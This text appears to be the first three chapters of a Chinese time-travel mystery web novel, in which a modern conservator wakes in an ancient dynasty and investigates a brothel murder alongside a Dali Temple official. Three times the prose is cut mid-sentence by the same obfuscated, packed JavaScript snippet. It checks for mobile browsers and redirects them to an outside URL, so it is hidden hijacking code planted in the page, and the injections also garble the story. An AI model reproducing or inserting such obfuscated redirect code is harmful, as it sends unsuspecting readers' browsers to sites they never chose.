《今安有时》 1. 坏事 辰朝,淳光元年。 京城最大的酒色交易场——香楼,此刻人来人往,多的是一掷千金,纸醉金迷的嫖客赌徒,与它的名字如出一辙,价值连城的金香炉里飘着上好的熏香,侵蚀着在场的每一个人的神经。 权、色、名、命在这里不过是须臾就可以转变得天翻地覆。 “上……上酒!”不知是何处的新贵在叫嚷,勾栏美人捧着瓷玉酒壶匆匆赶来,却因为熙熙攘攘的人群被不小心踩到了裙角,顷刻间,酒壶在地上摔的粉碎,上好的佳酿顷刻间洒落,引得众人连连惊叫。 勾栏美人跪在地上颤颤巍巍捡起酒壶的碎片,满脸写着惊恐,人群之中怒骂声,呼喊声四起,一片混乱之间,一道身影在二楼尽头匆匆闪过。 该死,终于混进来了。 谢筠熙躲进空房间里立刻上锁,倚在门上狠狠松了一口气。 原来就是这里吗,史载“香楼案”的案发地点……或许与找到谢相清白证据有所关联,希望能找到线索…… 时间回到一个星期前,谢筠熙结束文物修复工作下班回家,在准备第二天燕大讲座的文稿时,却因过于困倦倒在书桌上和周公约会,再一睁眼,就来到了辰朝这个历史上有载的朝代,还成为了当朝丞相嫡女。 不过经自己的贴身丫鬟和好闺蜜口述,这个丞相府她是趁乱逃出来的,丞相爹是已经被一纸奏疏告到入了狱的,而自己顶号的女孩在史书上是籍籍无名的…… 不可以这样,绝对不可以……谢筠熙决定破解眼前的困境,自然得从解救谢相证其清白,也就是丞相爹开始。 据史载,谢相因被人举报贪墨吞财入狱期间同时发生的,就是后世也颇为震撼的一件千古未解之案,史称“香楼案”。 淳光元年科举中第的榜眼被发现身死香楼,也就是辰朝京城最大的酒色生意场,尸首身在异处,只剩一具身体,头颅却不翼而飞,案发现场没有找到任何证据,该案因发生时间特殊,当今天子震怒,命令下查一切与此案有关的人员,其中自然包括了谢相,但出乎意料的是在此事上谢相倒是没有太大关联,诸多异处让当今圣上只好先对查检谢相一事稍作放松,将这件人命关天的大事先行派遣大理寺与刑部共同查案。 谢筠熙觉得此事蹊跷,按理来说丞相不可能与此无关,于是决定以身涉险,先来香楼一探究竟。 而此刻谢筠熙所在的地方,正是榜眼身首异处的第一案发现场。 因为自己穿越前的身份特殊,谢筠熙并不害怕这种阴森森的场景,加之有好闺蜜的易容术和对自己说谎不打草稿的自信,谢筠熙安心地开始寻找可以修复的证据。 这个房间的尸首虽然已被送到刑部进行查验,但是原房间案发时的物品并没有被动过,谢筠熙本着职业道德轻手轻脚在房间各处游走,戴上前些日子特意定制的手套,小心翼翼地翻找起来。 说来也奇怪,明明古人最忌讳的就是在对着床的任何一个地方挂上镜子,可这房间的镜子却又不止一面,而且通通对着床。 呃……古人的情趣吗……谢筠熙暗自腹诽。 暂时还不清楚这些镜子的作用,谢筠熙只得作罢,她趴在地上搜寻着,企图找到一些碎纸屑之类的事物。 但是她明处暗处都找遍了,愣是找不到一点。 而房间里弥漫着血腥味并没有完全散去,谢筠熙闻得有些难受,她松了松领口,继续在房间内踱步。 运气稍有不佳啊,总不能无功而返吧…… 谢筠熙依旧四处查看着,但却没有像方才那样细致了。 “小芸,你快把你那衣裳换掉吧,一会妈妈又要说了……”谢筠熙的身影僵了僵,显然是没有料到此刻正巧会有人来这个被查封的房间。 她是要更衣?可她为什么偏偏要往这个房间来? 此刻也顾不上疑问,谢筠熙只得寻找可以暂时藏身之处,目光往左一转,那床榻之旁正巧有一个衣柜,虽然看上去有些狭窄,不过对于谢筠熙这样身形的女子,却刚好可以容纳得下。 就在谢筠熙闪进柜子的那一刹那,房间的门被打开了,谢筠熙透过柜子的缝往外望去,只见进来的是一个面色苍白,浑身湿透的勾栏美人,此刻她脸上精致的妆容已经花了一部分,雪白的右脸赫然呈现一道鲜红的伤痕。 是那个不小心跌倒的女孩!谢筠熙的眉头微皱,不敢想此等意外对她造成了怎样的伤害…… 接下来便是这女孩换衣服的场景,正当谢筠熙担忧她会向衣柜走来时,她却熟练地从梳妆台的下方掏出了一套与那暴露的衣裳截然不同的男装,将繁复的头饰摘下,披落的长发又被她用布条草草扎起成为了一个简单的高马尾。 紧接着就是束胸,穿衣,勾栏美人就在面前逐渐变成了雄雌莫辨清秀少年的模样,谢筠熙几乎被这场景看呆了眼,不留神间碰到了衣柜的内壁,发出了些许噪音。 不好!谢筠熙察觉到门外的女孩停下了手中的动作,紧张地按住了手中的防身暗器,但她最后看到的只是门外女子指缝之间的寒光一闪,木柜晃了两下,谢筠熙的额头冒出了冷汗,就在她鼻梁不到三寸处,竟生生嵌入了飞镖的一角,按样式,应当是带衣镖。 不过此刻谢筠熙并没有心情欣赏这近在眼前的活文物,反而陷入了命不久矣的恐惧之中。 可等了半天,她也没有等到那人打开柜门,反而听到了一阵匆匆离开的脚步声和闭门声,半晌,谢筠熙才敢再次往缝外看,梳妆台那的人却已然消失不见。 谢筠熙穿越到辰朝第一次经历生死,再次放松下来,紧绷的神经瞬间脱力,她顺着柜壁缓缓滑落,手掌抵在左右两侧,却感受到了原本光滑的柜壁却多了一丝异样的凸起,谢筠熙小心翼翼地摸上去,却发现那似乎是人为设计的暗格,往里一掏,竟然有些破碎的纸张。 这也太巧了吧?!那女孩是在帮我吗?谢筠熙立刻想到刚刚那震颤了几下的柜门,心下诧异。 她将来之不易的线索揣进了外衣裹着的夜行衣的衣兜,猫着腰打开了柜门,环顾一周确定房间里确实没有人后,才敢从衣柜里出来。 此地不宜久留,我得再从人群中混出去,好修复这份不知是何物的纸张。 谢筠熙脑中回忆着她刚刚来的路线,打开了案发房间的门。 可让她完全没有想到的是,门外正站着的,就是香楼的老鸨,两人打了个照面,互相干瞪着眼,半晌才反应过来。 我去,这不是死过人的房间吗,官府里来查案的也就算了,怎么一个两个来得都是这楼里的人,他们古人难道没有保护案发现场的意识吗? 某个四处在案发现场走动的人此刻僵在门槛处,走也不是,不走也不是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326834|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然脑子里闪过灵光,谢筠熙在心中尖叫:不会有这么巧的事,是那个变装的女孩吧,是她故意把老鸨引来的吧!我还想谢谢她来着怎么这样!不管了不管了,先演一下,先演一下,稳住,稳住…… 老鸨最先回过神来,她盯着眼前这个衣着并不普通的女子,满脸狐疑地发问:“这位……客人,你是怎么进的这个房间?”她说这着看向房门上消失不见的封条,更加警惕。 “呃……我方才到二楼来,是一个楼里的姑娘领我来的,刚刚那个走到这房间门口的时候,我看见上面贴着封条,还想着不对吧这地方应当不能进去吧,可那姑娘随手就把着封条撕了放我进来,说楼里如今房间紧缺,只能委屈我住在这里了,所以……” 谢筠熙眼珠子一滴溜转,开始扯起谎来。 “哪个姑娘?她怎会不知这里发生过……”老鸨愈加狐疑,她将谢筠熙逐渐逼到二楼的阶梯扶手旁。 “就……穿鹅黄色衣裳的那个,叫……花芸?我也不知道怎么写,我这头一回来京城就被坑了,我还没找你们赔我不是呢。”谢筠熙继续瞎掰扯。 “我们这哪里来的这号人!你定是心中有鬼,来人,给我拿下这个小贼!”老鸨听罢,顿时火冒三丈,将眉毛一竖,气势汹汹地指着要捉她。 她不是香楼的人,我怎么又误会上了?!见鬼了见鬼了,那我刚刚看到的是谁啊,明明就是香楼的女子服饰啊!! 谢筠熙二丈和尚摸不着头脑,但身体反应比脑子快一步,趁老鸨的人来之前看准时机插空如游鱼般逃窜出去飞奔下楼。 还好还好,这丞相府大小姐的身子骨倒是不弱,还好我穿来这里之前没有疏于锻炼,这下派上用场了。 “给我抓住她!”老鸨一瞬间也没有反应过来,气得在原地跺脚。 一时之间一楼的宾客们热闹起来,纷纷抬头看着这场闹剧,谢筠熙在人群中窜逃着,犹如一只矫捷的兔子,她一边跑一边搜寻着引起骚乱的时机,突然看到一楼的舞台中央那摇摇欲坠的花球里盛着近日赌坊的头彩,满是纸钞与金叶子,顿时心生一计。 一定要成功,一定要成功,一定要成功…… 谢筠熙就这样在心中默默地鼓舞着自己,在场地中央满场地绕着圈,翻动自己的手腕,将闺蜜塞给自己的防身工具对准了花球一边的绑带。 “咻”,暗刃精准地飞了出去,竟真的割中了绑带,一侧的平衡瞬间丧失,花球倾倒下去,无数的钱财在空中飞舞,引得众人纷纷上前抢夺。 呼……天助我也,谢筠熙暗自松了一口气,趁着叫喊声,怒骂声夹杂之间,冲向了此刻无人看守的香楼正大门。 “噌”,一柄横刀飞到谢筠熙面前,阴森森地闪着寒光。 今天没完了是吧!两次了!谢筠熙依旧无声地呐喊。 但她没有停住脚步,只是草草往后看了一眼,一闪而过的是黑金暗纹的袖袍,紧接着就是一张看上去平移般逐渐逼近的俊脸,但在昏黄的灯光之下显得格外吓人。 “卧槽鬼啊啊啊!”谢筠熙终于没忍住尖叫了起来,紧接着便是肾上腺素狂飙,竟不怕死地生生绕过那人,终于冲出了香楼的正大门。 “你说什么?站住!”那鬼影不可置信的声音从身后传来,谢筠熙依旧不管不顾向前跑着,凭自己的感觉拐进了错综复杂的京城小巷里。 2. 交易 七歪八扭地绕了很长一段路,此刻夜色渐浓,京城里的灯火却并没有熄灭,谢筠熙绕过夜间集市里三三两两的人群,依旧不回头向前奔跑。 此刻跟在谢筠熙身后的有两拨人,一拨是香楼里被老鸨喊去捉人的小厮,另一拨便是刚刚那个闪现的“鬼影”。 谢筠熙引起的骚乱显然吸引了夜间集市里所有人的目光,但商贩们为了防止自己的摊子不被这群疯子撞翻,只好尽量为让他们让出一条道来。 谢筠熙一边跑着,一边一个劲地向被冲撞到的路人和商贩说着“对不起”“谢谢谢谢”,脚步却是没有停下来一点。 终于,她好不容易拐进了一个无人的巷口,那里没有一丝灯火,她将身上繁复的服饰剥去,露出了里面的夜行衣,彻底和黑夜融为了一体。 香楼的那帮人因为数量太多,企图进行分道包抄,他们看见谢筠熙消失在前方,互相使着眼色,示意一些人继续往巷口里头追,而另一批则继续往其他方向围堵,谢筠熙实际早有预料,她在进巷子的第一秒开始,就在摸索有没有可以藏身的地方。 我现在算是在溜着香楼的人玩"躲猫猫"吗。谢筠熙这样想着,不知怎的想笑的心大过了恐惧,此刻竟有些放松下来。 半天她终于找到了一处小巷居民的杂物堆,她毫不犹豫地往里头一钻,用这些事物暂时遮盖住了自己的身影。 还没等谢筠熙真的喘上一口气,她却感觉自己的嘴被人从背后死死捂住,瞳孔骤缩间紧接着脖子一凉,似乎有什么锋利的东西架到了上面。 我靠我靠完蛋了完蛋了,小女子难道这就要命丧于此了吗,半路开号竟然死得这么快,小女子还没有把自己的技能用上竟然就要挂了,悲哉悲哉…… 谢筠熙等了半天,迟迟没有等到脖颈间的剧痛以及血溅当场的画面发生,一头冷汗的同时又添上了一头雾水,正当她想要悄悄回头看到底发生了什么,面上却传来一阵冰凉。 这下彻底把谢筠熙搞蒙了,她还没反应过来,脖子上的疼痛却忽然消失了,然后就是一双毫不留情的手朝她脸上袭来,和着刚才的冰凉,如同搓面团般把她的脸狠狠搓了一顿。 不好,小诺化的妆!可谢筠熙现在陷入这般窘境仍然不敢发出一点声响,面前的人似乎并没有想要杀她的心思,因此只好任由那人在脸上乱动,静观其变。 终于停下了动作,谢筠熙正要发话:“你……”却忽然又觉得脖子上一凉,那刀又如同带了磁铁板贴到了刚刚的位置,甚至分毫不差。 不是,到底什么意思啊,给个准话啊…… “别出声。”身后的人终于开口说话了。 那是一道低沉之中带着点慵懒的男声,带着不由分说的意味,将谢筠熙的嘴捂得更紧了些。 “唔……”谢筠熙觉得此人手劲大到仿佛要把自己的下颌整个掰掉,不由自主挣扎了一下。 可下一刻,那人却用更加冰冷的语气在她耳边威胁道:“你要是再乱动一下,不妨猜猜你是先被割喉还是先被闷死……” 谢筠熙惊惧之下,只得浑身僵硬地顿在原地,心里却狠狠啐了一口此人:好女不吃眼前亏,我倒是要看看他到底要干嘛。 就在她默念完这句话的下一秒,一道刺眼的火光突然照亮了杂物堆里的二人。 谢筠熙再次瞳孔骤缩,发现他们的正是前来搜查的香楼小厮! 这下完蛋了……白费我跑了这么久…… 万籁俱灰之际,谢筠熙却感受到自己嘴上的力道骤然消失,脖子上的刀也被身后之人挪开,一阵干脆的收刀声传来,方才的声音再次出现在谢筠熙耳中:“何事?” 拿着手提灯的小厮打量了一番眼前之人,一眼就瞧见了那玉制的腰牌和存在感极强的横刀,方才凶神恶煞的神情瞬间变了一副模样。 “大人……您……您可曾见过一个在这乱跑的华衣女……女子……”小厮的声线里盛满了恐惧。 “没见过,还有什么事吗,没事本官要继续办案了。” “这……”小厮的眼睛瞄了一眼地上那个陌生的女人,又抬头瞥了一眼面前冷若冰霜的男人,却迟迟没有挪动脚步。 “本官办案,最厌被人打扰,既然你执意不走,又看到了本官秘行执法的过程,那么本官只好让你永远闭嘴了。” 谢筠熙脑中突然闪过一丝灵光:我现在恢复真容了呀,衣服也换了,那小厮又不认识我,我慌什么! 意识到事情也许有转机,谢筠熙瞬间又觉得自己能行了,刚要将头抬起来。 一阵刺耳的尖叫却突然传来:“大人,少卿大人!小的知错了,求大人饶了小人吧!小人并不知道大人在此啊……” 这连哭带喊的求饶声让谢筠熙的耳膜差点炸掉,她虽然隐隐约约觉得这个在他脖子上架刀的男人不是什么善茬,但也着实没有想到他竟然能吓人到这种程度。 哪知谢筠熙正要从地上起来,一阵血光突然在她面前爆开,方才惊叫的声音瞬间消失,再看去时,就是那小厮倒在血泊里的模样,浓重的血腥味在黑夜中蔓延开来,手提灯倒在地上,闪着悠悠的火光,这让谢筠熙下意识遮住了眼睛。 “怎么,没见过杀人吗,这么害怕,谢小姐?” 那讨人厌的声音再次响起来,手被人握住从脸上移开,倏然出现在视野里的就是那小厮面色苍白,死不瞑目的惨状。 谢筠熙有些反胃,作为21世纪遵纪守法的好公民,虽然因为工作的特殊性跟着考古队的人见过千年古尸,但活生生的尸体她是真的没见过啊! 等等!谢小姐,她怎么知道我的姓! “你……你怎么知道……”谢筠熙对着尸体背过身,有些认怂地询问。 “我们换个地方再谈。”男人不由分说地再次拽住谢筠熙的胳膊,毫不怜香惜玉地将她带出了这个巷口。 直到走进一间小客栈,掌柜的似乎跟这个男人是旧相识,那男人同他眼神示意了一番,取到房门钥匙后谢筠熙便被他带到了一处隔音极佳的房间。 “好了,现在不会有人来追你了,说说吧,你独自一人在谢相入狱期间易容潜入香楼,是何目的啊? 谢,今,安。” 谢今安正是谢筠熙穿到辰朝这具躯壳的名字。 “你是谁?”谢筠熙有些警惕地望向眼前这个男人。 “喏,自己看。” 谢筠熙被他随手甩过来的东西吓了一跳,但依旧伸手接住。 入手的是光滑温润的触感,谢筠熙的目光聚焦到这事物上,入目的便是“大理寺”三个大字。 大理寺腰牌?根据辰朝历史记载,淳光年间的大理寺有一位响当当的人物,他是大理寺卿的义子,名曰李时丰,但是因为能力出挑加之冷血无情,被天子赏识,经常被派遣解决各类大案,每一次出动均是大开杀戒,而他身侧,永远别有一把乌黑瓦亮的横刀,因此在历史上被冠以“黑罗刹”的称号。 但也因古人对他俊俏面孔的描述,让他在现代人的艺术创作之中多了许多幻想……总而言之,他似乎很火。 原来这样年轻,是个小罗刹啊…… “李少卿?”谢筠熙小心翼翼地开口。 “现在知道了?还我吧,接下来该本官审问你了。”李时丰将腰牌一把从谢筠熙手中抽了回来,收起了那副看上去慵懒自得的模样。 谢筠熙有些心虚地低下了头,闷闷回应:“你问吧。” “第一,为何擅自跑出丞相府。” 谢筠熙抓了抓衣角:“想要为我爹证清白,自然不能一直待在丞相府里等死。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326835|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“怎么混出去的?”李时丰面无表情继续追问。 “这个不能告诉你……”谢筠熙摇了摇手。 “现在本官是在审问你,审问懂吗,你没有不回答的权利!”李时丰颦眉。 “就……呃……趁乱逃出来的。”谢筠熙有些支支吾吾。 李时丰突然想起丞相府前几日突然走水的事情,心下了然:可真是谢相的好女儿,防火烧府这等子下三滥的事都干的出来。 “那个!我知道你要出来干什么的!”谢筠熙突然插话。 “说。” “你要找这个是不是。” 谢筠熙从自己夜行衣的最里兜掏出了碎纸,捧在手心中,李时丰向前看了一眼,神色突然变得凝重。 “为何介入香楼案?” 谢筠熙知道自己赌对了,于是顺着李时丰的话说下去:“我不信我爹跟这事毫无关联,此时出事,必是有人要作妖,我不能坐视不理。” “……你就这么笃定你爹没犯事?你知不知道你擅自出逃加重了你爹的怀疑?”李时丰怀疑地扫视着面前这个杏眼圆睁,一脸正义的女子。 “我是爹最亲的人我能不知道吗?”谢筠熙低下头,将拿出的碎纸四处拼凑。 “这是香楼案的重要线索,信角的那个梅花印,正是本官追查许久的密函标志,将它交于本官。” 李时丰向谢筠熙摊开手掌,向那碎纸努了努嘴。 “不妨我跟你做个交易吧,小,罗,刹。”谢筠熙突然开口打断李时丰的话头,方才一脸清纯无辜的模样被眼底的精明所代替。 “你叫我什么?”李时丰怀疑自己的耳朵产生了幻听。 “呃……我说,少卿大人,我们做个交易吧。”谢筠熙在心中扇了顺嘴说出心里想法的自己一巴掌,“我说我可以修复这封密函,你信不信。” “不信。”李时丰无情道。 “给我两天,就两天,行不行,我真的可以修复,你不要小瞧我啊,我爹的古画和花瓶全是我修复的呢……”谢筠熙满眼渴求地望向李时丰。 “本官拿什么信你。”李时丰默默转头,选择无视她那双明亮的眸子。 “陛下催得紧吧,香楼案不是寻常小案,上关朝中大臣权益,下关对举国科举士子信誉问题,陛下是不是下了通牒要在七日内查出来啊,今日,是第三日了吧……”谢筠熙宛若恶魔低语般的声音在李时丰耳边反复徘徊。 李时丰听到谢筠熙的话,眼神逐渐犀利起来,他直取谢筠熙雪白的细颈,低声质问:“陛下所言,均是与本官私下一人所说,你一个被囚禁的丞相嫡女是怎么知道的。” 谢筠熙被他掐的喘不上气来,狠狠拍打李时丰的手臂,李时丰用警告的神情居高临下地砍了她一眼:“别耍花招。” 这才将手松开。 “咳咳咳……大人你对别人的脖子是不是有什么执念……咳咳咳……”谢筠熙感受到空气重新在喉中流通,这才一边激烈咳嗽一边回答,“你就说你想不想要信我这次了。” “我若信你,你真的办成了此事,你想作甚。”李时丰退回自己的位置,伸手摩挲着横刀的刀柄。 “我只希望帮大人这次,就不要向别人透露我身在何处的消息了,仅此而已。”谢筠熙重新望向这个男人,目光中透露着诚恳。 李时丰不满地磨了磨后槽牙,从来都是他跟别人谈条件的份,怎么现在反而轮到他被别人谈条件了,不爽…… 相当不爽! 但他如今收案时间告急,只能咬牙回答:“好……姑且信你这一次你要是敢做些小动作,本官就不敢保证你,以及你爹无忧了。” 感谢我扎实的历史功底……谢筠熙在心中朝天拜了三拜,听到李时丰的承诺,这才暂时把心放回了肚子里。 3. 一波未平,一波又起 自谢筠熙答应李时丰要修复那封密函,李时丰为了防止谢筠熙溜走,以看守嫌犯之名把谢筠熙留在了客栈里,谢筠熙也隐隐发觉,这个客栈似乎与李时丰有什么特定的关系,也许是他专门招募眼线的地方吧…… 谢筠熙这样思考着,房间的门被打开了。 “喏,你要的……材料和工具,给你拿过来了。” 李时丰提着一大包东西,靠在门沿边,向谢筠熙晃了晃布包。 “多谢多谢。”谢筠熙忙不迭地从书案边坐起来,将修复时沾上的污渍随手往衣服上擦了擦,小跑着过去用双手捧回了李时丰手里的布包,又小心翼翼地放到了书案的空处。 “京城里的传言也并非完全属实啊……”李时丰见她打开布包时那两眼放光的模样,不由玩味地上下打量起谢筠熙。 谢筠熙听到这没头没脑的一句,有些疑惑地眨了眨眼,顺口接上话:“什么?京城里传什么了?” 李时丰见她茫然的模样,调笑着摇了摇头,漫不经心地扶着刀缓缓绕到谢筠熙跟前,烛火之下,他高大的身影在谢筠熙身上投射出一片阴影,背着光看去,李时丰明暗有致的脸上写满了狐疑:“没什么,不过是对世家女体面清婉,出水芙蓉,生若娇兰,琴棋书画样样精通之类的赞词罢了。” “哇,古……那他们可真会夸,谬赞谬赞。”谢筠熙紧急撤回一个“古人”,迎着李时丰探究的目光心虚地别开了头。 突然,下巴一阵刺痛,谢筠熙感受到自己的脸被一只铁钳般的大手硬生生掰了回来,李时丰那俊美无铸的脸在谢筠熙面前不断放大。 谢筠熙挣扎了一番,企图打掉李时丰的手,她胡乱地惊叫着:“做什么,做什么,你松手,痛痛痛!!” “谢今安……你该不会被人调包了吧?”李时丰感受着手臂上那对自己而言微不足道的力道,却没有松开谢筠熙的意思,说出这句话的同时,眼神中的冷意更甚。 搞什么……好好的来这一出……呃……也是,以他的身份,想查到关于我的事并不难,这是在试探我吗? 谢筠熙被这如蛇般阴冷的目光盯着,眼珠一转,干脆开始演起来:“能不能先松开……你这样本小姐很难说话……” 李时丰敏锐地注意到了谢筠熙自我称谓的变化,不满地松开手,抱拳作洗耳恭听态。 “京城中所言不虚,谢今安其人确实温婉可人,颇有大家闺秀风范,不过,本小姐在外,那是谢家的门面,一定要端着,至于宅邸之中,何人见过我的真正模样?” 谢筠熙一边说着,又就着油灯低下头去,将毛笔点沾上桌上那调制出来的浆糊,细细往破碎的纸张上刷去。 “你说这话,未免太过天真,作为丞相嫡女,在天子脚下,无论是丞相,还是你,即使是在自己的府邸之中,有任何行动,你以为陛下会不知道吗?” 李时丰说着嗤笑了一声。 “我一来没有做什么伤天害理的事,二来无甚大逆不道的想法,陛下向来明辨是非,公正威严,我若在家也小心翼翼,谨言慎行,不是反倒让陛下觉得我心里有鬼,应该探查一番吗?” “你的歪理倒是挺多……好吧,你继续吧,我看着你。”李时丰不知何时从墙角拖来一把木椅,将身上的袍子取下,随手一挥搭在椅背上,大马金刀往上一坐,目光却没有离开谢筠熙一分。 修复密函的第二天一早,谢筠熙被窗外的鸟叫吵醒,她舒展着肢体悠悠从睡梦中醒来,胳膊一阵酸痛,等眼前的景象逐渐清明起来,她呆呆望着面前书案和杂乱的工具,恍然间有种回到现代的错觉。 又不小心趴在桌子上睡着了啊,以前练习的时候就是这样…… 谢筠熙想起从前的日子,不由自嘲地笑了笑:罢了罢了,都已经过来了…… 等她回过神来,目光往一旁的椅子上扫去时,谢时丰早已不见人影。 李时丰这不妥妥的古代打工人吗,天天这么早上班。 目光再往下,谢筠熙却突然发现自己辛辛苦苦修复的密函不见了! 不是吧!不会是李时丰这小子不讲信用用完我就毁约乱传我的信息然后跑走了吧,我去怎么会有这种人,打工人不难为打工人的道理他难道不懂吗啊啊啊啊啊啊! 现在看到密函信息的……只有死人,凶手,我和他,不会吧,他不会打算…… 就这样颓然跌坐回在蒲团上胡思乱想着,客房的门又传来“吱呀”一声。 这让谢筠熙浑身上下的肌肉都紧绷起来,她木着脸朝门那边看去,看到的却是一张鬼鬼祟祟的小脸。 两人目光相对,谢筠熙的头上顶了个问号,内心飘过一万匹草泥马:历史上有记载李时丰有私生子吗……他不是根本没留种吗……而且好像……还早死? 所以这小孩哪里来的!!为什么门开着啊啊啊…… 那小孩见谢筠熙看见了他,脸上浮现出尴尬的神情,他迅速将头缩了回去,假装自己没有被发现。 可不过一会,一阵低沉的脚步声传来。 李时丰!他回来了!还是挺讲义气的嘛…… “李……” 谢筠熙还没有叫出声,就看见李时丰一手提着方才探头那小孩的衣领,毫不留情将他从地上拔起来,忽视走廊外的呜咽声,将他提溜进了屋里。 “额……那个,你认识这个小孩?”谢筠熙将想要询问密函下落的心先暂时吞回了肚子里。 李时丰阴沉着脸摇了摇头:“不认识。” 一边说着,又开始将按在手中的刀柄往外抽。 “诶诶诶,有话好好说啊,刀剑无眼,这小孩虽然莫名其妙,但是也得先问明白再下手啊……”谢筠熙慌忙摁住了李时丰蠢蠢欲动的杀心,把那小孩带到了自己跟前。 “那个,小朋友,你最好解释清楚你是怎么混进来这个客栈了,这里是那个大哥哥的地盘,如果你不说的话,那个大哥哥可能就要……”谢筠熙一边说着,一边拿眼偷瞧着李时丰,那把横刀已经从腰侧被他抱到了怀中,警示意味格外凸显。 谢筠熙脑中回想起他那杀人不眨眼的模样,狠狠摇了摇头,然后对那已经被吓成鹌鹑的小孩做了个抹脖子的动作。 这下小孩也不叫了,小脸苍白,浑身哆嗦着开口解释:“我……我是被楼下那帮人带到这的……我不该一时……一时贪玩……阿爹阿娘现在找不见我……我……我也找不到他们了人……呃……” 因为害怕,他说话的声音压得很低,可委屈让他不由地开始掉起眼泪来。 谢筠熙一个万年泡在修复室里的单身无孩人士哪里见过这阵仗,当即有些手足无措起来话,她见那小孩抽抽噎噎的模样,慌忙从衣兜里掏出一方素帕,想着自己老妈曾经安慰自己的样子,替他擦去脸上的泪水,又蹲下身用她这辈子最温柔的声线安慰:“好了好了,没事了啊,没事了……” “所以下面那帮人你根本不认识?”李时丰看着谢筠熙那生疏的安慰模样,突然插话。 “不……不认识……我……我被带到这里来的路上……听见他们说什么……卖……什么价钱……货……之类的话……我是被他们……喂了一种……额……白白的面粉……然后……我就不知道了……” 那小孩怯生生望向李时丰,小声地解释着。 哇噻,古代的人贩子啊,没穿之前从来没遇到过,到了古代却被我遇上了,真是见了鬼了,我是什么穿越霉运体质吗? 这边谢筠熙一边在心里吐槽,一边将那小孩哄到床榻边上,又起身鬼鬼祟祟走出客房的门,偷偷往楼下一瞧,果然看见了几个佝肩偻背,一脸恶相的人围在桌子边等酒菜。 呃……这人贩子长得可真人贩子…… 谢筠熙汗颜。 退回房间关上房门后,谢筠熙悄悄用胳膊肘碰了碰李时丰,在遭到他的冷眼攻击后,将手默默背到身后:“这小孩自己偷偷溜出来,那群人牙子发现了肯定会起疑,届时找到我们这来要怎么办呢?” 李时丰不轻不重地瞟了她一眼,又看向在榻上乖乖缩成一团的小孩,冷漠地回答:“报官。” “啊?可你本身不就是……”谢筠熙指向李时丰腰间挂的玉牌。 “大理寺主司刑事,更何况本官本身就有要务在身,分身乏术。”李时丰又下意识摩挲着刀柄。 谢筠熙得到这样的回答,回头看一眼那可怜的小孩,低头叹气:“既然如此,看在我昨晚这么努力修复密函的份上,帮我个忙吧。” 提到“密函”二字,谢筠熙用别有深意的眼神朝李时丰胸口看去,如果李时丰没有看错,他似乎感受到了一丝幽怨。 “你,跟本官谈条件?”李时丰抬眉。 “嘿,我还没有怪你今早背我拿着密函不告而别呢,本姑娘从未见过如此不守信之人!”谢筠熙有些气恼。 李时丰觉得有些好笑:“本官取走密函为何需要与你知会,你的消息本官没向任何人透露,何来的不讲信用,而且,本官早上离开只是有事要办,你是本官的谁吗?什么都需要与你告知?” 谢筠熙被他这样一长串的话质问得有些耳根发红,但依旧不服气地想要辩解:“我……我还以为你……想用完我之后毁尸灭迹呢!” “喂,谢姑娘,那只能够怪你自己实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326836|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在过于异想天开好吗!”李时丰不爽地反驳,说完这句话,又觉得有些怪怪的:我为什么要和这个女人在这里争论一些毫无用处的事情…… 正说话间,门外突然传来一阵急促的敲门声,两人的议论声戛然而止,李时丰不再靠在墙边,眼神变得犀利起来,重新握上刀柄,寒光在腰间闪过,刀已出鞘半分。 谢筠熙也顿时充满了警惕,她缓缓靠后,移步到书案旁,拿起了昨晚用余料简做的面具,飞快地带上。 “¥%*#¥……没有人吗,他奶奶的,只好硬闯了,给老子把这门砸开!”门外传来一阵怒骂声,紧接着就是疯狂撞击砸击声。 李时丰将刀彻底出鞘,走到客房书案旁,用脚踩了踩地板,打开了一个暗门,他无视谢筠熙复杂的眼神,又看了一眼床上再次惊恐起来的小孩。 这客栈果然不简单…… 没有再犹豫,谢筠熙抱起床上的小孩,又向李时丰传递了一个注意安全的眼神,麻溜地钻进了暗门里。 关上暗门的隔板后,下一秒就谢筠熙就听见了开门声,打斗声,以及血溅地板的声音。 几位人牙子碰上这活罗刹你们就自求多福吧,小女子先行一步喽~ “别怕,姐姐这就带你去找爹娘。”谢筠熙感受到怀中小孩微微颤抖的身躯,低声安慰道。 “嗯……好……”小孩也不哭闹,乖乖地回应。 “你叫什么名字?”谢筠熙边跑边和小孩搭话,企图让他放松一些。 “小……小明……” “呃……很别致的名字……你爹娘现在一定很着急吧。”谢筠熙哈哈着岔开了话题。 “姐姐,其实……我骗你的……我根本就没有爹娘,是祖母和小姑养我长大的……现在祖母已经不在了……就剩我小姑了……”小明低下头,在谢筠熙怀中泫然欲泣。 